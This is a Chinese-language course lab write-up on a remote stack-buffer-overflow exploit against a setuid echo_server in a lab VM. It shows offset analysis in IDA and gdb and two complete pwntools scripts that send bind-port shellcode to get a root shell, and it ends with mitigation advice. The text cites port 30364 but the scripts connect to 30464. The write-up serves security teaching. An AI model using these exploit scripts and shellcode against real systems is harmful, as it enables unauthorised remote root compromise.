【安全攻防综合实验6】栈溢出-远程

Posted by 慕念 on October 20, 2021

【实验目的】

  • 本实验所用虚拟机上有一个具有缓冲区溢出漏洞的可执行程序echo_server,具有’s’属性。
  • 要求在linux上编程,并利用相关调试工具,编写出一个利用该缓冲区漏洞的软件(远程),获得带有root权限的shell。要求在获得shell后证明已经是root权限。
  • 鼓励实现自动化的exploit工具。实现全自动工具可得40分;实现半自动工具(采用手动方式串接其他工具/命令)得30分。

【实验步骤】

一、基础题

1、打开IDA对程序进行反编译,可以看到main函数调用了echo_server()函数:

image-20211020095548452

echo_server()函数建立了socket连接,在5050端口进行监听。该函数的作用是回显远程输入的字符串,以及buffer地址信息,只有远程输入end才会退出子程序。可以根据这一特点,先产生溢出覆盖return address,等到end要退出时就可以跳转到我们构造的地址。

image-20211020105625555

image-20211020105523169

所以send_buf是要溢出的数组,在ida中看到虽然申请的是200bytes,实际上分配了ebp-0xD4,即212bytes。

image-20211019132532130

212bytes中有32bytes是"We send back the client input: ",此外还需要把old ebp的4bytes覆盖掉,所以一共需要输入212-32+4=184bytes才能到return address。

由于echo_server会显示send_buf的地址是0xffffd1b4(也没有开地址随机),通过计算可以算出要填充的shellcode的地址是:0xffffd1b4+212+4+4=0xffffd290

image-20211020110253717

所以栈的结构如图所示:

用pwntools写exp脚本,这里直接填了47个shellcode的起始地址,相当于填充了188bytes直接覆盖了return address。shellcode用的是ppt上绑定30364端口的shellcode,所以在最后还要再连接这个端口。

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = remote("192.168.112.139", "5050")

shellcode = b"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"

p.sendline((p32(0xffffD290))*47+shellcode)
p.recv()
p.recv()

p = remote("192.168.112.139", "5050")
p.sendline(b"end")
p.recv()

p = remote("192.168.112.139", "30464")

p.interactive()

运行截图:

image-20211019125639948

image-20211019125700543

二、加分项:coredump

1、发送200*a,会显示segmentation fault(core dumped),用gdb查看,发现eip指向0x61616161,说明return address被输入的a覆盖。

image-20211020101902875

image-20211020101034593

2、再尝试发送180*a,此时eip指向0x00000000,说明这时并没有被填充的’a’覆盖到:

image-20211020102018689

3、用二分法继续尝试发送190*a,eip指向0x61616161。再尝试发送185*a,发现eip指向0x08000a61,说明return address的最低一个字节被a填充了,所以只需要填充184个字节,再填4Bytes就可以覆盖return address。

image-20211020102337034

再查看寄存器,看到栈顶指针esp指向0xffffd290

image-20211020102606260

x/64wx 0xffffd200取出栈上的部分内容,找到了填充起始的位置和ret addr的地址0xffffd28c0xffffd290就是填充的shellcode开始的位置。

image-20211020103147068

4、构造脚本:184*a+0xffffd290+shellcode

from pwn import *
context(os='linux', arch='i386', log_level='debug')

p = remote("192.168.112.139", "5050")

shellcode = b"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"

p.sendline(b"a"*184+p32(0xffffd290)+shellcode)
p.recv()
p.recv()

p = remote("192.168.112.139", "5050")
p.sendline(b"end")
p.recv()

p = remote("192.168.112.139", "30464")

p.interactive()

成功运行,获取root权限的shell:

image-20211020104416379

image-20211020104445648

三、一些思考

防范这类远程栈溢出应该防止远程用户控制服务端的send_buf,如果需要回显,可以通过strncpy这类限制长度的函数将recv_buf的内容复制到send_buf,避免栈溢出,而不是不限制长度。

此外还可以设置地址随机,栈不可执行和canary之类的手段避免栈溢出攻击。